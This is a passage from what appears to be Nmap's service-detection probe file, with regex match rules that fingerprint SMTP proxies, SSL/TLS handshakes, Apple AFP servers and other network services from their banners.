unknown command\.\r\n| p/PineApp SeCure SoHo smtpd/ cpe:/a:pineapp:mail-secure/ +match smtp m|^220 ([\w._-]+) ESMTP service ready\r\n214 2\.0\.0 try reading the RFCs: http://www\.imc\.org/rfcs\.html\r\n| p/PowerMTA smtpd/ h/$1/ +match smtp m|^220 SMTP\r\n214-Usage: HELP \r\n214-Topics:\r\n214-\tHELO EHLO MAIL RCPT DATA\r\n214-\tVRFY EXPN RSET NOOP QUIT\r\n214 End of HELP info\r\n| p/Trend Micro IMSS smtpd/ v/7.0/ o/Windows/ cpe:/o:microsoft:windows/a +match smtp m|^220 ([\w._-]+) ESMTP\r\n214-2\.0\.0 These commands are recognised:\r\n214 2\.0\.0 DATA EHLO HELO HELP MAIL NOOP QUIT RCPT RSET\r\n| p/Koto Internet Services smtpd/ h/$1/ +match smtp m|^220 ([\w._-]+) ESMTP\r\n250 2\.0\.0 See http://www\.ietf\.org/rfc/rfc2821\r\n| p|Plan 9 upas/smtpd| o/Plan 9/ h/$1/ cpe:/o:belllabs:plan_9/a +match smtp m|^220 ([\w._-]+) Service ready\r\n214-Commands:\r\n214-\tHELO\tEHLO\tMAIL\tRCPT\tRSET\tNOOP\r\n214-\tQUIT\tHELP\tDATA\tAUTH\tVRFY\tEXPN\r\n214-\r\n214-For more info use \"HELP \"\r\n214 End of HELP info\r\n| p/Gattaca Server smtpd/ h/$1/ +match smtp m|^250 Ok, but unimplemented\r\n220 EventMachine SMTP Server\r\n| p/Mailcatcher smtpd/ +match smtp m|^220 uniFLOW SMTP Email Gateway\r\n500 Sorry, not implemented\r\n| p|NT-ware uniFLOW/MOM smtpd| + +match smtp-proxy m|^220 SMTP service ready\r\n214-Commands:\r\n214-\tDATA\tRCPT\tMAIL\tQUIT\tRSET\r\n214 \tHELO\tVRFY\tEXPN\tHELP\tNOOP\r\n| p/WatchGuard smtp proxy/ d/firewall/ +match smtp-proxy m|^220 ready\r\n214-Commands:\r\n214- HELO MAIL RCPT DATA\r\n214- RSET NOOP QUIT HELP\r\n214- VRFY EXPN\r\n214-For more info use HELP \r\n214 End of HELP info\r\n| p/602LAN Suite smtpd/ o/Windows/ cpe:/o:microsoft:windows/a +match smtp-proxy m|^220 ([-\w_.]+) SMTP service ready\r\n214 Help message\r\n| p/CA Secure Content smtp proxy/ h/$1/ +match smtp-proxy m|^421 ([-\w_.]+) is too busy\. Please try again later\.\r\n| p/Surfcontrol smtp proxy/ h/$1/ +match smtp-proxy m|^220 ([-\w_.]+) SMTP; .*\r\n500 Syntax error, command unrecognized\.\r\n| p/Anti-Spam SMTP Proxy/ h/$1/ +match smtp-proxy m|^220 WebShield SMTP MR2\r\n| p/McAfee WebShield smtp proxy/ o/Windows/ cpe:/a:mcafee:webshield_smtp/ cpe:/o:microsoft:windows/a +match smtp-proxy m|^220 SMTP Proxy Server Ready\r\n250 \+OK entry follows, ends in \.\r\n| p/IronMail CipherTrust SMTP Proxy/ cpe:/a:ciphertrust:ironmail/ +match smtp-proxy m|^220 SMTP SDC Ready\r\n250 \+OK entry follows, ends in \.\r\n| p/IronMail SMTP proxy/ cpe:/a:ciphertrust:ironmail/ +match smtp-proxy m|^220 ([-\w_.]+) SMTP; .* \+\d{4}\r\n500 Syntax error, command unrecognized\r\n| p/Symantec Mail Security smtp proxy/ o/Windows/ h/$1/ cpe:/a:symantec:mail_security/ cpe:/o:microsoft:windows/a +match smtp-proxy m|^220 ([\w._-]+) Symantec Mail Security | p/Symantec Mail Security smtp proxy/ o/Windows/ h/$1/ cpe:/a:symantec:mail_security/ cpe:/o:microsoft:windows/a +match smtp-proxy m|^220 ([-\w_.]+) ESMTP smtprelay service ready\.\r\n214-This is smtprelay\r\n214-Topics:| p/Genua smtprelay/ d/security-misc/ h/$1/ +match smtp-proxy m|^220 SMTP ESMTP ready at .*0\r\n214-\r\n214 End of HELP info\r\n| p/SurfControl smtp proxy/ o/Windows/ cpe:/o:microsoft:windows/a +match smtp-proxy m|^220 ([-\w_.]+)\r\n214-HELO domain\r\n214-EHLO domain\r\n214-QUIT\r\n214-MAIL FROM: \[options\]\r\n| p/RedCondor smtp proxy/ h/$1/ +match smtp-proxy m|^220 ([-\w_.]+) ESMTP Ready\r\n211 Help:->Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP\r\n| p/NoSpamToday! smtp proxy/ h/$1/ +match smtp-proxy m|^220 ([-\w_.]+) SMTP Relay Service ready\r\n500 Syntax error, command unrecognized\r\n| p/Tumbleweed Email Firewall smtp proxy/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match smtp-proxy m|^220 ([\w._-]+) AngelmatoPhylax SMTP proxy\r\n214 see RFC2821\r\n| p/AngelmatoPhylax smtp proxy/ h/$1/ +match smtp-proxy m|^503 Synchronization error\r\n| p/Altospam smtp proxy/ +match smtp-proxy m|^220 ([\w._-]+)\r\n214-Usage: HELP \r\n214-Topics:\r\n214-\tHELO EHLO MAIL RCPT DATA\r\n214-\tVRFY EXPN RSET NOOP QUIT\r\n214 End of HELP info\r\n| p/Barracuda Networks Spam Firewall/ h/$1/ cpe:/h:barracudanetworks:spam_%26_virus_firewall_600:-/ + +match speechd m|^248- SPEAK -- say text \r\n248- KEY -- say a combination of keys \r\n248- CHAR -- say a character \r\n248- SOUND_ICON -- execute a sound icon \r\n248- SET -- set a parameter \r\n248- LIST -- list available arguments \r\n248- HISTORY -- commands related to history \r\n248- QUIT -- close the connection \r\n248 OK HELP SENT\r\n| p/Speech Dispatcher text to speech/ + +match tcpmux m|^(sgi_[-.\w]+\r\n(?:[-.\w]+\r\n)*)$| p/SGI IRIX tcpmux/ i/Available services: $SUBST(1, "\r\n", ",")/ o/IRIX/ cpe:/o:sgi:irix/a + +match telnet m|^\r\nLDK-300 System\r\nVersion ([\w._-]+) .*\r\nDATE: .*\r\nTIME: .*\r\nSITE NAME.*\r\nENTER PASSWORD: \*| p/AcerTelecom LDK-300 PBX telnetd/ v/$1/ d/PBX/ +match telnet m|^HELP\r\n\n\x06 \nATHENA_READ\nATHENA_WRITE\nCHIPVAR_GET\nDEBUGTABLE\nDITEM\nDMEM\nDREG16\nDREG32\nDREG8\nDRV_CAT_FREE\nDRV_CAT_INIT\nDRV_NAME_GET\nDRV_VAL_GET\nDRV_VAL_SET\nEXIT\nGENIOCTL\nGETMIB\nHELP\nHYP_READ \nHYP_WRITE \nHYP_WRITEBUFFER\nITEM16\nITEM32\nITEM8\nITEMLIST\nMACCALIBRATE\nMACVARGET\nMACVARSET\nMEM_READ\nMEM_WRITE\nMTAPI\nPITEMLIST\nPRINT_LEVEL\nPROM_READ\nPROM_WRITE\nREAD_FILE\nREBOOT\nRECONF\nRG_CONF_GET\nRG_CONF_SET\nRG_SHELL\nSETMIB\nSHELL\nSTR_READ\nSTR_WRITE\nSYSTEM\nTEST32\nTFTP_GET\nTFTP_PUT\nVER\r\n00>$| p/OpenRG telnetd/ i|Cisco/Linksys WET610N wireless bridge| d/bridge/ o/Linux/ cpe:/o:linux:linux_kernel/a + +# http://grey-corner.blogspot.com/2010/12/introducing-vulnserver.html +match vulnserver m|^Welcome to Vulnerable Server! Enter HELP for help\.\nValid Commands:\nHELP\nSTATS \[stat_value\]\nRTIME \[rtime_value\]\nLTIME \[ltime_value\]\nSRUN \[srun_value\]\nTRUN \[trun_value\]\nGMON \[gmon_value\]\nGDOG \[gdog_value\]\nKSTET \[kstet_value\]\nGTER \[gter_value\]\nHTER \[hter_value\]\nLTER \[lter_value\]\nKSTAN \[lstan_value\]\nEXIT\n$| p/Vulnserver/ o/Windows/ cpe:/o:microsoft:windows/ + +match nut m|^Commands: HELP VER GET LIST SET INSTCMD LOGIN LOGOUT USERNAME PASSWORD STARTTLS\n| p/Network UPS Tools upsd/ +match nut m|^Commands: VER REQ HELP LISTVARS LOGOUT LOGIN PASSWORD LISTRW VARTYPE VARDESC ENUM SET INSTCMD LISTINSTCMD INSTCMDDESC FSD MASTER USERNAME STARTTLS\n| p/Network UPS Tools upsd/ + +# Written in 1986. More info at +# http://ftp.rge.com/pub/X/X11R5/contrib/xwebster.README +match webster m|^DICTIONARY server protocol:\r\n\r\nContact name is| p/Webster dictionary server/ + +match xmpp-transport m|^\x05\xff$| p/Spectrum XMPP file transfer/ + +softmatch smtp m|^220[\s-].*smtp[^\r]*\r\n214[\s-]|i +softmatch ftp m|^220[\s-].*ftp[^\r]*\r\n214[\s-]|i + +##############################NEXT PROBE############################## +# SSLv3 ClientHello probe. Will be able to reliably identify the SSL version +# used, unless the server is running SSLv2 only. Note that it will also detect +# TLSv1-only servers, based on a failed handshake alert. +Probe TCP SSLSessionReq q|\x16\x03\0\0S\x01\0\0O\x03\0?G\xd7\xf7\xba,\xee\xea\xb2`~\xf3\0\xfd\x82{\xb9\xd5\x96\xc8w\x9b\xe6\xc4\xdb<=\xdbo\xef\x10n\0\0(\0\x16\0\x13\0\x0a\0f\0\x05\0\x04\0e\0d\0c\0b\0a\0`\0\x15\0\x12\0\x09\0\x14\0\x11\0\x08\0\x06\0\x03\x01\0| +rarity 1 +ports 261,271,322,324,443,444,448,465,548,563,585,636,684,853,989,990,992-995,1241,1311,1443,2000,2221,2252,2376,2443,3443,4433,4443,4444,4911,5061,5443,5550,5868,5986,6251,6443,6679,6697,7000,7210,7272,7443,8009,8181,8194,8443,8531,8883,9001,9443,10443,14443,15002,44443,60443 +fallback GetRequest + +# Unknown service on Vingtor-Stentofon IP intercom echoes only up to the first \n, so softmatching until we know more. +softmatch echo m|^\x16\x03\0\0S\x01\0\0O\x03\0\?G\xd7\xf7\xba,\xee\xea\xb2`~\xf3\0\xfd\x82\{\xb9\xd5\x96\xc8w\x9b\xe6\xc4\xdb<=\xdbo\xef\x10n\0\0\(\0\x16\0\x13\0\n| + +# OpenSSL/0.9.7aa, 0.9.8e +match ssl m|^\x16\x03\0\0J\x02\0\0F\x03\0| p/OpenSSL/ i/SSLv3/ cpe:/a:openssl:openssl/ + +# Microsoft-IIS/5.0 - note that OpenSSL must go above this one because this is more general +match ssl m|^\x16\x03\0..\x02\0\0F\x03\0|s p/Microsoft IIS SSL/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a +# Novell Netware 6 Enterprise Web server 5.1 https +# Novell Netware Ldap over SSL or enterprise web server 5.1 over SSL +match ssl m|^\x16\x03\0\0:\x02\0\x006\x03\0| p/Novell NetWare SSL/ o/NetWare/ cpe:/o:novell:netware/a +# Cisco IDS 4.1 Appliance +match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03\0\xd10:\xbd\\\x8e\xe3\x15\x1c\x0fZ\xe4\x04\x87\x07\xc0\x82\xa9\xd4\x0e\x9c1LXk\xd1\xd2\x0b\x1a\xc6/p\0\0\n\0\x16\x03\0\x026\x0b\0\x022\0| p/Cisco IDS SSL/ d/firewall/ +# PGP Corporation Keyserver Web Console 7.0 - custom Apache 1.3 +# PGP LDAPS Keyserver 8.X +match ssl m|^\x16\x03\0\0\+\x02\0\0'\x03\0...\?|s p/PGP Corporation product SSL/ +# Unreal IRCd SSL +# RemotelyAnywhere +match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03\0\?| +# Tumbleweed SecureTransport 4.1.1 Transaction Manager Secure Port on Solaris +# Dell Openmanage +match ssl m|^\x15\x03[\x01\x00]\0\x02\x01\0$| p/multi-vendor SSL/ +# Probably Oracle https? +match ssl m|^}\0\x02\0\0\0\0\0\0\0\0\0\0\0\0\0| p/Oracle https/ +match ssl m|^\x15\x03\0\0\x02\x02\(31666:error:1408A0C1:SSL routines:SSL3_GET_CLIENT_HELLO:no shared cipher:s3_srvr\.c:881:\n| p/Webmin SSL Control Panel/ +match ssl m|^20928:error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol:s23_srvr\.c:565:\n| p/qmail-pop3d behind stunnel/ cpe:/a:djb:qmail/ + +match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03\0B| p/Tor over SSL/ cpe:/a:torproject:tor/ +match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03.*IOS-Self-Signed-Certificate|s p/Cisco IOS ssl/ d/router/ +match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03.*\nCalifornia.*\tPalo Alto.*\x0cVMware, Inc\..*\x1bVMware Management Interface|s p/VMware management interface SSLv3/ +match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03.*\x0edropbox-client0|s p/Dropbox client SSLv3/ cpe:/a:dropbox:dropbox/ +match ssl m|^\x16\x03\0\0\*\x02\0\0&\x03.*vCenterServer_([\w._-]+)|s p/VMware ESXi Server httpd/ v/$1/ cpe:/o:vmware:esxi:$1/ + +# Alert (Level: Fatal, Description: Protocol Version|Handshake Failure) +match ssl m|^\x15\x03[\x00-\x03]\0\x02\x02[F\x28]| +# Alert (Level: Warning, Description: Close Notify) +match ssl m|^\x15\x03[\x00-\x03]\0\x02\x01\x00| + +# Sophos Message Router +match ssl/sophos m|^\x16\x03\0.*Router\$([a-zA-Z0-9_-]+).*Sophos EM Certification Manager|s p/Sophos Message Router/ h/$1/ +match ssl/sophos m|^\x16\x03\0.*Sophos EM Certification Manager|s p/Sophos Message Router/ + +match ssl/openvas m|^\x16\x03\x01\0J\x02\0\0F\x03\x01| p/OpenVAS server/ + +# Generic: TLSv1.3 ServerHello +match ssl m|^\x16\x03\x03..\x02...\x03\x03|s p/TLSv1.2/ +# Generic: TLSv1.2 ServerHello +match ssl m|^\x16\x03\x02..\x02...\x03\x02|s p/TLSv1.1/ +# Generic: TLSv1.1 ServerHello +match ssl m|^\x16\x03\x01..\x02...\x03\x01|s p/TLSv1.0/ + +# Generic: SSLv3 ServerHello +match ssl m|^\x16\x03\0..\x02...\x03\0|s p/SSLv3/ +# SSLv3 - TLSv1.3 Alert +match ssl m|^\x15\x03[\0-\x04]\0\x02[\x01\x02].$|s + +match adabas m|^,\0,\0\x03\x02\0\0G\xd7\xf7\xbaO\x03\0\?\x05\0\0\0\0\x02\x18\0\xfd\x0b\0\0<=\xdbo\xef\x10n \xd5\x96\xc8w\x9b\xe6\xc4\xdb$| p/ADABAS database/ + +# Apple Filing Protocol (AFP) over TCP on Mac OS X +# Sometimes we can get a host name or an IP address; those with come before those without. +# These are mostly sorted by the flags field. + +# Flags \x80\xfb. +match afp m|^\x01\x03\0\0........\0\0\0\0........\x80\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x05\x06AFPX03\x06AFP2\.2\x0eAFPVersion 2\.1\x0eAFPVersion 2\.0\x0eAFPVersion 1\.1.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 2.2; Mac OS X 10.1.*/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.1/ + +# Flags \x83\xfb. +match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x06\x06AFP3\.1\x06AFPX03\x06AFP2\.2\x0eAFPVersion 2\.1\x0eAFPVersion 2\.0\x0eAFPVersion 1\.1.\tDHCAST128.*[\x04\x05]([\w.-]+)\0|s p/Apple AFP/ i/name: $1; protocol 3.1; Mac OS X 10.2.*/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.2/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x06\x06AFP3\.1\x06AFPX03\x06AFP2\.2\x0eAFPVersion 2\.1\x0eAFPVersion 2\.0\x0eAFPVersion 1\.1.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.1; Mac OS X 10.2.*/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.2/ + +match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x03\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\x06Recon1\rClient Krb v20\0.*[\x04\x05]([\w.-]+)\x01.afpserver/([\w.@-]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.1; Mac OS X 10.2.*/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.2/ + +match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x03\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver/([\w.@-]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.1; Mac OS X 10.3.*/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.3/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x03\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\0|s p/Apple AFP/ i/name: $1; protocol 3.1; Mac OS X 10.3.*/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.3/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x83\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x03\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.1; Mac OS X 10.3.*/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.3/ + +# Flags \x8f\xfa. +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfa.([^\0\x01]+)[\0\x01].*\tMacintosh\x01\x06AFP3\.1.\tDHCAST128|s p/Apple Airport Extreme AFP/ i/name: $1; protocol 3.1/ d/WAP/ cpe:/h:apple:airport_extreme/ + +# Flags \x8f\xfb. +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver/([-\w_.@]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.2; Mac OS X 10.3 - 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver|s p/Apple AFP/ i/name: $1; protocol 3.2; Mac OS X 10.3 - 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\0|s p/Apple AFP/ i/name: $1; protocol 3.2; Mac OS X 10.3 - 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a + +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\x06Recon1\rClient Krb v2\x0fNo User Authent\0.*[\x04\x05]([\w.-]+)\x01.afpserver/([-\w_.@]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.2; Mac OS X 10.5 Server/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x_server:10.5/ + +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh.\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver|s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh.\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ + +match afp m=^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x04\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver=s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5 - 10.6; $2/ o/Mac OS X/ h/$3/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ cpe:/o:apple:mac_os_x:10.6/ + +# Patched version of OS X 10.5 may match these too... wait for corrections +match afp m=^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x04\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03.\tDHCAST128.*[\x04\x05]([\w.-]+)\0\0=s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.6; $2/ o/Mac OS X/ h/$3/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.6/ + +match afp m=^\x01\x03\0\x80........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x04\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver=s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5 - 10.6; $2/ o/Mac OS X/ h/$3/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ cpe:/o:apple:mac_os_x:10.6/ +match afp m|^\x01\x03\0\x80........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh.\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128.*[\x04\x05]([\w.-]+)\x01.afpserver|s p/Apple AFP/ i/name: $1; protocol 3.3; Mac OS X 10.5/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.5/ + +# Flags \x8f\xfb. +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*AirPort.*AFP3\.2|s p|Apple Airport Extreme/Time Capsule AFP| i/name: $1; protocol 3.2 WAP/ cpe:/h:apple:airport_extreme/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*TimeCapsule.*AFP3\.3\x06AFP3\.2\x06AFP3\.1.\tDHCAST128.*[\x04\x05]([\w.-]+)\0|s p/Apple Time Capsule AFP/ i/name: $1; protocol 3.3/ d/storage-misc/ h/$2/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*TimeCapsule.*AFP3\.3\x06AFP3\.2\x06AFP3\.1.\tDHCAST128|s p/Apple Time Capsule AFP/ i/name: $1; protocol 3.3/ d/storage-misc/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tVMware7,1\x04\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03.\tDHCAST128\x04DHX2\x06Recon1\rClient\x20Krb\x20v2\0\0.*[\x04\x05]([\w.-]+)\x01.afpserver/([\w.@-]+)\0|s p/Apple AFP/ i/name: $1; afpserver: $3; protocol 3.1; Mac OS X 10.6.3/ o/Mac OS X/ h/$2/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a +# Sometimes the hostname isn't included +match afp m|^\x01\x03\0\0........\0\0\0\0........\x8f\xfb.([^\0\x01]+)[\0\x01].*\tMacintosh\x04\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06AFP2\.2.\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.2; Mac OS X 10.3 - 10.5/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a + +# Flags \x9f\xf3 +match afp m=^\x01\x03\0\0........\0\0\0\0........\x9f\xf3.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03=s p/Apple AFP/ i/name: $1; protocol 3.4; OS X 10.9 - 10.11; $2/ o/OS X/ cpe:/a:apple:afp_server/ cpe:/o:apple:mac_os_x:10.10/ cpe:/o:apple:mac_os_x:10.11/ cpe:/o:apple:mac_os_x:10.9/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x9f\xf3.([^\0\x01]+).*?VMware(\d+),(\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03|s p/Apple AFP/ i/name: $1; protocol 3.4; VMware $2.$3/ o/Mac OS X/ cpe:/a:apple:afp_server/ cpe:/o:apple:mac_os_x/a + +# Flags \x9f\xfb. +match afp m=^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06\tDHCAST128\x04DHX2\x06Recon1\rClient Krb v2\x03GSS\x0fNo User Authent.*\x1b\$not_defined_in_RFC4178@please_ignore$=s p/Apple AFP/ i/name: $1; protocol 3.4; Mac OS X 10.6 - 10.8; $2/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.6/ cpe:/o:apple:mac_os_x:10.7/ cpe:/o:apple:mac_os_x:10.8/ +match afp m=^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x05\tDHCAST128\x04DHX2\x06Recon1\rClient Krb v2\x03GSS.*\x1b\$not_defined_in_RFC4178@please_ignore=s p/Apple AFP/ i/name: $1; protocol 3.4; Mac OS X 10.6 - 10.8; $2/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.6/ cpe:/o:apple:mac_os_x:10.7/ cpe:/o:apple:mac_os_x:10.8/ +match afp m|^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*VMware(\d+),(\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x06\tDHCAST128\x04DHX2\x06Recon1\rClient Krb v2\x03GSS\x0fNo User Authent.*\x1b\$not_defined_in_RFC4178@please_ignore$|s p/Apple AFP/ i/name: $1; protocol 3.4; Mac OS X 10.6; VMware $2.$3/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a +match afp m|^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*Xserve\d+,\d+\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x05\tDHCAST128|s p/Apple AFP/ i/name: $1; protocol 3.4; Xserve/ o/Mac OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x/a +match afp m=^\x01\x03\0\0........\0\0\0\0........\x9f\xfb.([^\0\x01]+)[\0\x01].*?(i?Mac(?:mini|Pro|Book(?:Air|Pro)?)?\d+,\d+)\x05\x06AFP3\.4\x06AFP3\.3\x06AFP3\.2\x06AFP3\.1\x06AFPX03\x05\tDHCAST128\x04DHX2\x06Recon1\x03GSS\x0fNo User Authent=s p/Apple AFP/ i/name: $1; protocol 3.4; OS X 10.8; $2/ o/OS X/ cpe:/a:apple:afp_server/a cpe:/o:apple:mac_os_x:10.8/ + +softmatch afp m|^\x01\x03\0\0........\0\0\0\0.*AFP|s + +match ajp13 m|^AB\0N\x04\x01\x94\0\x06/cccb/\0\0\x02\0\x0cContent-Type\0\0\x17text/html;charset=utf-8\0\0\x0eContent-Length\0\0\x03970\0AB\x03| p/Apache Jserv/ + +match cpu m|^unsupported auth method\0| p/Plan 9 cpu/ o/Plan 9/ cpe:/o:belllabs:plan_9/a + +match decomsrv m|^\x02\0\0\x01\x03\0U\xd0DSQ\x02\0\0\x01\x03\0U\xd0DSQ$| p/Lotus Domino decommission server/ i/decomsrv.exe/ cpe:/a:ibm:lotus_domino/ + +match dsr-video m|^\0\0\0\0\0\x84\0\x10\x01\xa3{\x10\0\0\0\0$| p/Avocent KVM DSR video/ + +match ftp m|^220 \r\n451 The parameter is incorrect\. \r\n| p/IIS ftpd/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a +# Better to grab more details elsewhere +softmatch ftp 